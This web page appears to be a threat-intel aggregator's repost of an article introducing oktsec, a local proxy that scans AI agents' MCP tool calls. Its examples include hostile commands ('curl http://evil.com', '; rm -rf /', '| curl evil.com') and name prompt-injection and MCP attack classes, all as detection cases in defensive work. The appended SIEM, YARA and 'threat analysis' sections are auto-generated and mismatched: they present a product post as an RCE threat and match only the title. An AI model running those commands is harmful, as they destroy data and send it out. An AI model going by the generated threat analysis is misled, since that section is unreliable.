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Intelligence View
⚡ tsecurity.de Intelligence

Secure your MCP servers in 10 seconds

You have MCP servers running. Claude Desktop, Cursor, VS Code, maybe a custom one. Every tool call your agent makes goes straight to the server. No scanning, no access control, no logs. Here is how to put a security layer in front of all…

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You have MCP servers running. Claude Desktop, Cursor, VS Code, maybe a custom one. Every tool call your agent makes goes straight to the server. No scanning, no access control, no logs.



Here is how to put a security layer in front of all of them.






Install






# Go
go install github.com/oktsec/oktsec/cmd/[email protected]

# or Homebrew
brew install oktsec/tap/oktsec









Run






oktsec run






That is it. One command. Here is what happens:




  1. Scans your machine for MCP clients (Claude Desktop, Cursor, VS Code, Windsurf, Cline, and 12 more)

  2. Finds every MCP server configured in each client

  3. Generates a security config with observe-mode defaults

  4. Creates Ed25519 keypairs for identity verification

  5. Wraps each MCP server through the oktsec proxy

  6. Starts scanning with a real-time dashboard



No config file to write. No YAML to edit. No manual setup.






What you see



A TUI shows events in real time. Every tool call your agent makes passes through 230 detection rules before execution:




oktsec v0.12.0 | observe mode | 3 agents | 230 rules

EVENTS
12:04:01 claude-desktop Read /src/main.go clean 2ms
12:04:03 claude-desktop Bash npm install express clean 3ms
12:04:05 claude-desktop Write /src/config.yaml clean 2ms
12:04:08 claude-desktop Bash curl http://evil.com block 1ms TC-005






The dashboard at http://127.0.0.1:8080/dashboard shows the full picture: pipeline health, agent list, event timeline, rule matches, session inventory.






What it scans for



230 rules across 16 categories:





  • Prompt injection. Fake system tags, impersonated tokens, concealment instructions


  • Credential leaks. API keys, AWS secrets, GitHub tokens in tool arguments


  • Shell injection. Command chaining in Bash tool calls (; rm -rf /, | curl evil.com)


  • Data exfiltration. Base64-encoded content, suspicious outbound URLs


  • MCP attacks. Parameter injection, tool description manipulation


  • Supply chain. Malicious package installs, untrusted registries



When a rule matches, the verdict changes from clean to flag, quarantine, or block depending on severity. In observe mode nothing is blocked, just logged. Switch to enforce mode when ready:




oktsec run --enforce









Per-agent tool policies



If you run multiple agents or MCP servers, you can control what each agent is allowed to do. Edit ~/.oktsec/config.yaml:




agents:
coding-agent:
allowed_tools:
- Read
- Write
- Bash
tool_policies:
Bash:
rate_limit: 10/min
egress:
allowed_domains:
- github.com
- npmjs.com

research-agent:
allowed_tools:
- Read
- WebSearch
# No Bash, no Write, no file system access






If coding-agent tries to call WebSearch or research-agent tries to call Bash, oktsec blocks it.






MCP gateway mode



For more control, oktsec can front your MCP servers as a gateway:




gateway:
enabled: true
port: 8081
backends:
- name: filesystem
transport: stdio
command: npx
args: ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
- name: github
transport: http
url: http://localhost:3000/mcp






The gateway adds per-tool spending limits, approval thresholds, and tool namespacing when backends have conflicting tool names.






Audit trail



Every event is logged in a SQLite database with a SHA-256 hash chain. Each entry is signed with the proxy's Ed25519 key. If anyone modifies a log entry, the chain breaks.




# Query the audit log
oktsec audit --limit 20

# Verify chain integrity
oktsec audit --verify

# Export as SARIF
oktsec audit --export sarif > report.sarif









Optional: LLM analysis layer



For attacks that pattern matching misses (fabricated compliance requirements, domain spoofing, out-of-scope actions hidden in workflows), enable the LLM analysis layer:




llm:
enabled: true
provider: claude
model: claude-sonnet-4-6
api_key_env: ANTHROPIC_API_KEY






It runs async after the deterministic scan. Never blocks. Analyzes flagged messages and suggests new rules.






What it does not do




  • It does not modify your MCP servers. The proxy is transparent.

  • It does not require cloud connectivity. Everything runs locally.

  • It does not need an LLM for core scanning. The 230 rules are deterministic.

  • It does not persist data outside your machine. SQLite file in ~/.oktsec/.






Numbers




  • 230 detection rules, 16 categories

  • 40ms average scan latency

  • 17 MCP clients auto-discovered

  • 844 tests, race detector on

  • Apache 2.0





CTI Threat Relationship Graph3 Knoten / 2 Relationen
CVE / Incident Software MITRE ATT&CK CWE Weakness IoC
SOC Incident Playbook: Remote Code Execution (RCE) Defense
Syntax validiert (0 Fehler)
title: Detect Exploitation - Secure your MCP servers in 10 seconds
id: fabc339a-5057-460c-8d11-4e71a0bbfb32
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-25
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
Syntax validiert (0 Fehler)
rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-25"
        description = "YARA Signature for "
    strings:
        $str = "Secure your MCP servers in 10 " ascii wide
    condition:
        any of them
}
Syntax validiert (0 Fehler)
index=security sourcetype IN ("cisco:asa", "pan:traffic", "zeek_conn", "suricata", "WinEventLog:Security")
("Secure your MCP servers in 10 seconds")
| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, dest_ip, dest_host, signature
| eval first_seen=strftime(first_seen, "%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort - count
Syntax validiert (0 Fehler)
message: "*Secure your MCP servers in 10 seconds*"
Syntax validiert (0 Fehler)
CommonSecurityLog
| where Message has "Secure your MCP servers in 10 seconds"
| summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP, DestinationPort, Activity
| extend DetectionRule = "iShareStuff-CTI-Compiled"
| sort by EventCount desc
🎯
MITRE ATT&CK Matrix Navigator 14 Taktiken
Reconnaissance
-
Resource Development
-
Initial Access
Execution
Persistence
-
Privilege Escalation
Defense Evasion
Credential Access
-
Discovery
-
Lateral Movement
-
Collection
-
Command and Control
Exfiltration
-
Impact
tsecurity.de Cognitive Threat RAG
Fokus-Vektor:

Kognitive Analyse für identifizierte Bedrohung: Erhöhte Bedrohungslage im Bereich Secure your MCP servers in 10 seconds.... Basierend auf 368k Vektor-Korrelationen werden sofortige Isolationsmaßnahmen für betroffene Endpunkte empfohlen.

🛡️ Angriffsfläche & Exposure

Netzwerk/Remote-Zugriff ohne Vorauthentifizierung möglich.

⚡ Empfohlene Sofortmaßnahmen
  • 1. Perimeter-Inspektion: Relevante Portfreigaben und exponierte Endpunkte unverzüglich scannen.
  • 2. Patch-Applikation: Hersteller-Hotfix einspielen oder betroffene Daemons in isolierte DMZ-Segmente überführen.
  • 3. Telemetrie & EDR-Alerts: Prozessaufrufe und Child-Processes auf anomale Shell-Spawns überwachen.
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